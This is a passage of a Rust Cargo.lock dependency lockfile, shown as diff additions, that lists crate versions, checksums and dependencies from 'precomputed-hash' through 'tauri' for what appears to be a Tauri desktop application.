+ +[[package]] +name = "precomputed-hash" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn 2.0.117", +] + +[[package]] +name = "proc-macro-crate" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919" +dependencies = [ + "once_cell", + "toml_edit 0.19.15", +] + +[[package]] +name = "proc-macro-crate" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b00f26d3400549137f92511a46ac1cd8ce37cb5598a96d382381458b992a5d24" +dependencies = [ + "toml_datetime 0.6.3", + "toml_edit 0.20.2", +] + +[[package]] +name = "proc-macro-crate" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e67ba7e9b2b56446f1d419b1d807906278ffa1a658a8a5d8a39dcb1f5a78614f" +dependencies = [ + "toml_edit 0.25.11+spec-1.1.0", +] + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr2" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5" +dependencies = [ + "proc-macro2", + "quote", +] + +[[package]] +name = "proc-macro-error2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802" +dependencies = [ + "proc-macro-error-attr2", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "proc-macro-hack" +version = "0.5.20+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "psl-types" +version = "2.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33cb294fe86a74cbcf50d4445b37da762029549ebeea341421c7c70370f86cac" + +[[package]] +name = "publicsuffix" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f42ea446cab60335f76979ec15e12619a2165b5ae2c12166bef27d283a9fadf" +dependencies = [ + "idna", + "psl-types", +] + +[[package]] +name = "quick-xml" +version = "0.38.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b66c2058c55a409d601666cffe35f04333cf1013010882cec174a7467cd4e21c" +dependencies = [ + "memchr", +] + +[[package]] +name = "quinn" +version = "0.11.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e20a958963c291dc322d98411f541009df2ced7b5a4f2bd52337638cfccf20" +dependencies = [ + "bytes", + "cfg_aliases", + "pin-project-lite", + "quinn-proto", + "quinn-udp", + "rustc-hash", + "rustls", + "socket2", + "thiserror 2.0.18", + "tokio", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-proto" +version = "0.11.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "434b42fec591c96ef50e21e886936e66d3cc3f737104fdb9b737c40ffb94c098" +dependencies = [ + "bytes", + "getrandom 0.3.4", + "lru-slab", + "rand 0.9.4", + "ring", + "rustc-hash", + "rustls", + "rustls-pki-types", + "slab", + "thiserror 2.0.18", + "tinyvec", + "tracing", + "web-time", +] + +[[package]] +name = "quinn-udp" +version = "0.5.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "addec6a0dcad8a8d96a771f815f0eaf55f9d1805756410b39f5fa81332574cbd" +dependencies = [ + "cfg_aliases", + "libc", + "once_cell", + "socket2", + "tracing", + "windows-sys 0.60.2", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "r-efi" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" + +[[package]] +name = "rand" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" +dependencies = [ + "getrandom 0.1.16", + "libc", + "rand_chacha 0.2.2", + "rand_core 0.5.1", + "rand_hc", + "rand_pcg", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44c5af06bb1b7d3216d91932aed5265164bf384dc89cd6ba05cf59a35f5f76ea" +dependencies = [ + "rand_chacha 0.9.0", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_chacha" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" +dependencies = [ + "ppv-lite86", + "rand_core 0.5.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core 0.9.5", +] + +[[package]] +name = "rand_core" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" +dependencies = [ + "getrandom 0.1.16", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.17", +] + +[[package]] +name = "rand_core" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" +dependencies = [ + "getrandom 0.3.4", +] + +[[package]] +name = "rand_hc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "rand_pcg" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "raw-window-handle" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20675572f6f24e9e76ef639bc5552774ed45f1c30e2951e1e99c59888861c539" + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags 2.11.1", +] + +[[package]] +name = "redox_users" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4e608c6638b9c18977b00b475ac1f28d14e84b27d8d42f70e0bf1e3dec127ac" +dependencies = [ + "getrandom 0.2.17", + "libredox", + "thiserror 2.0.18", +] + +[[package]] +name = "ref-cast" +version = "1.0.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f354300ae66f76f1c85c5f84693f0ce81d747e2c3f21a45fef496d89c960bf7d" +dependencies = [ + "ref-cast-impl", +] + +[[package]] +name = "ref-cast-impl" +version = "1.0.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7186006dcb21920990093f30e3dea63b7d6e977bf1256be20c3563a5db070da" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "regex" +version = "1.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a" + +[[package]] +name = "reqwest" +version = "0.12.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147" +dependencies = [ + "base64 0.22.1", + "bytes", + "cookie", + "cookie_store", + "futures-core", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-rustls", + "hyper-util", + "js-sys", + "log", + "percent-encoding", + "pin-project-lite", + "quinn", + "rustls", + "rustls-pki-types", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "tokio", + "tokio-rustls", + "tower", + "tower-http", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "webpki-roots", +] + +[[package]] +name = "reqwest" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab3f43e3283ab1488b624b44b0e988d0acea0b3214e694730a055cb6b2efa801" +dependencies = [ + "base64 0.22.1", + "bytes", + "futures-core", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-util", + "js-sys", + "log", + "percent-encoding", + "pin-project-lite", + "serde", + "serde_json", + "sync_wrapper", + "tokio", + "tokio-util", + "tower", + "tower-http", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "wasm-streams", + "web-sys", +] + +[[package]] +name = "resolv-conf" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e061d1b48cb8d38042de4ae0a7a6401009d6143dc80d2e2d6f31f0bdd6470c7" + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.17", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustc-hash" +version = "2.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94300abf3f1ae2e2b8ffb7b58043de3d399c73fa6f4b73826402a5c457614dbe" + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "rusticata-macros" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "faf0c4a6ece9950b9abdb62b1cfcf2a68b3b67a10ba445b3bb85be2a293d0632" +dependencies = [ + "nom", +] + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags 2.11.1", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.23.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69f9466fb2c14ea04357e91413efb882e2a6d4a406e625449bc0a5d360d53a21" +dependencies = [ + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be040f8b0a225e40375822a563fa9524378b9d63112f53e19ffff34df5d33fdd" +dependencies = [ + "web-time", + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8279bb85272c9f10811ae6a6c547ff594d6a7f3c6c6b02ee9726d1d0dcfcdd06" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "ryu" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "schemars" +version = "0.8.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fbf2ae1b8bc8e02df939598064d22402220cd5bbcca1c76f7d6a310974d5615" +dependencies = [ + "dyn-clone", + "indexmap 1.9.3", + "schemars_derive", + "serde", + "serde_json", + "url", + "uuid", +] + +[[package]] +name = "schemars" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cd191f9397d57d581cddd31014772520aa448f65ef991055d7f61582c65165f" +dependencies = [ + "dyn-clone", + "ref-cast", + "serde", + "serde_json", +] + +[[package]] +name = "schemars" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2b42f36aa1cd011945615b92222f6bf73c599a102a300334cd7f8dbeec726cc" +dependencies = [ + "dyn-clone", + "ref-cast", + "serde", + "serde_json", +] + +[[package]] +name = "schemars_derive" +version = "0.8.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32e265784ad618884abaea0600a9adf15393368d840e0222d101a072f3f7534d" +dependencies = [ + "proc-macro2", + "quote", + "serde_derive_internals", + "syn 2.0.117", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "selectors" +version = "0.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c37578180969d00692904465fb7f6b3d50b9a2b952b87c23d0e2e5cb5013416" +dependencies = [ + "bitflags 1.3.2", + "cssparser 0.29.6", + "derive_more 0.99.20", + "fxhash", + "log", + "phf 0.8.0", + "phf_codegen 0.8.0", + "precomputed-hash", + "servo_arc 0.2.0", + "smallvec", +] + +[[package]] +name = "selectors" +version = "0.36.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5d9c0c92a92d33f08817311cf3f2c29a3538a8240e94a6a3c622ce652d7e00c" +dependencies = [ + "bitflags 2.11.1", + "cssparser 0.36.0", + "derive_more 2.1.1", + "log", + "new_debug_unreachable", + "phf 0.13.1", + "phf_codegen 0.13.1", + "precomputed-hash", + "rustc-hash", + "servo_arc 0.4.3", + "smallvec", +] + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" +dependencies = [ + "serde", + "serde_core", +] + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde-untagged" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9faf48a4a2d2693be24c6289dbe26552776eb7737074e6722891fadbe6c5058" +dependencies = [ + "erased-serde", + "serde", + "serde_core", + "typeid", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_derive_internals" +version = "0.29.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18d26a20a969b9e3fdf2fc2d9f21eda6c40e2de84c9408bb5d3b05d499aae711" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_repr" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175ee3e80ae9982737ca543e96133087cbd9a485eecc3bc4de9c1a37b47ea59c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_spanned" +version = "0.6.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf41e0cfaf7226dca15e8197172c295a782857fcb97fad1808a166870dee75a3" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_spanned" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6662b5879511e06e8999a8a235d848113e942c9124f211511b16466ee2995f26" +dependencies = [ + "serde_core", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_with" +version = "3.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd5414fad8e6907dbdd5bc441a50ae8d6e26151a03b1de04d89a5576de61d01f" +dependencies = [ + "base64 0.22.1", + "chrono", + "hex", + "indexmap 1.9.3", + "indexmap 2.14.0", + "schemars 0.9.0", + "schemars 1.2.1", + "serde_core", + "serde_json", + "serde_with_macros", + "time", +] + +[[package]] +name = "serde_with_macros" +version = "3.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3db8978e608f1fe7357e211969fd9abdcae80bac1ba7a3369bb7eb6b404eb65" +dependencies = [ + "darling 0.23.0", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_yaml" +version = "0.9.34+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47" +dependencies = [ + "indexmap 2.14.0", + "itoa", + "ryu", + "serde", + "unsafe-libyaml", +] + +[[package]] +name = "serialize-to-javascript" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04f3666a07a197cdb77cdf306c32be9b7f598d7060d50cfd4d5aa04bfd92f6c5" +dependencies = [ + "serde", + "serde_json", + "serialize-to-javascript-impl", +] + +[[package]] +name = "serialize-to-javascript-impl" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "772ee033c0916d670af7860b6e1ef7d658a4629a6d0b4c8c3e67f09b3765b75d" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "servo_arc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d52aa42f8fdf0fed91e5ce7f23d8138441002fa31dca008acf47e6fd4721f741" +dependencies = [ + "nodrop", + "stable_deref_trait", +] + +[[package]] +name = "servo_arc" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "170fb83ab34de17dc69aa7c67482b22218ddb85da56546f9bd6b929e32a05930" +dependencies = [ + "stable_deref_trait", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "simd-adler32" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "703d5c7ef118737c72f1af64ad2f6f8c5e1921f818cdcb97b8fe6fc69bf66214" + +[[package]] +name = "siphasher" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d" + +[[package]] +name = "siphasher" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2aa850e253778c88a04c3d7323b043aeda9d3e30d5971937c1855769763678e" + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "socket2" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a766e1110788c36f4fa1c2b71b387a7815aa65f88ce0229841826633d93723e" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "softbuffer" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aac18da81ebbf05109ab275b157c22a653bb3c12cf884450179942f81bcbf6c3" +dependencies = [ + "bytemuck", + "js-sys", + "ndk", + "objc2", + "objc2-core-foundation", + "objc2-core-graphics", + "objc2-foundation", + "objc2-quartz-core", + "raw-window-handle", + "redox_syscall", + "tracing", + "wasm-bindgen", + "web-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "soup3" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "471f924a40f31251afc77450e781cb26d55c0b650842efafc9c6cbd2f7cc4f9f" +dependencies = [ + "futures-channel", + "gio", + "glib", + "libc", + "soup3-sys", +] + +[[package]] +name = "soup3-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ebe8950a680a12f24f15ebe1bf70db7af98ad242d9db43596ad3108aab86c27" +dependencies = [ + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "string_cache" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf776ba3fa74f83bf4b63c3dcbbf82173db2632ed8452cb2d891d33f459de70f" +dependencies = [ + "new_debug_unreachable", + "parking_lot", + "phf_shared 0.11.3", + "precomputed-hash", + "serde", +] + +[[package]] +name = "string_cache" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a18596f8c785a729f2819c0f6a7eae6ebeebdfffbfe4214ae6b087f690e31901" +dependencies = [ + "new_debug_unreachable", + "parking_lot", + "phf_shared 0.13.1", + "precomputed-hash", +] + +[[package]] +name = "string_cache_codegen" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c711928715f1fe0fe509c53b43e993a9a557babc2d0a3567d0a3006f1ac931a0" +dependencies = [ + "phf_generator 0.11.3", + "phf_shared 0.11.3", + "proc-macro2", + "quote", +] + +[[package]] +name = "string_cache_codegen" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "585635e46db231059f76c5849798146164652513eb9e8ab2685939dd90f29b69" +dependencies = [ + "phf_generator 0.13.1", + "phf_shared 0.13.1", + "proc-macro2", + "quote", +] + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "swift-rs" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4057c98e2e852d51fdcfca832aac7b571f6b351ad159f9eda5db1655f8d0c4d7" +dependencies = [ + "base64 0.21.7", + "serde", + "serde_json", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" +dependencies = [ + "futures-core", +] + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "system-deps" +version = "6.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3e535eb8dded36d55ec13eddacd30dec501792ff23a0b1682c38601b8cf2349" +dependencies = [ + "cfg-expr", + "heck 0.5.0", + "pkg-config", + "toml 0.8.2", + "version-compare", +] + +[[package]] +name = "tao" +version = "0.34.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9103edf55f2da3c82aea4c7fab7c4241032bfeea0e71fa557d98e00e7ce7cc20" +dependencies = [ + "bitflags 2.11.1", + "block2", + "core-foundation", + "core-graphics", + "crossbeam-channel", + "dispatch2", + "dlopen2", + "dpi", + "gdkwayland-sys", + "gdkx11-sys", + "gtk", + "jni", + "libc", + "log", + "ndk", + "ndk-context", + "ndk-sys", + "objc2", + "objc2-app-kit", + "objc2-foundation", + "once_cell", + "parking_lot", + "raw-window-handle", + "tao-macros", + "unicode-segmentation", + "url", + "windows", + "windows-core 0.61.2", + "windows-version", + "x11-dl", +] + +[[package]] +name = "tao-macros" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4e16beb8b2ac17db28eab8bca40e62dbfbb34c0fcdc6d9826b11b7b5d047dfd" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "target-lexicon" +version = "0.12.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1" + +[[package]] +name = "tauri" +version = "2.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 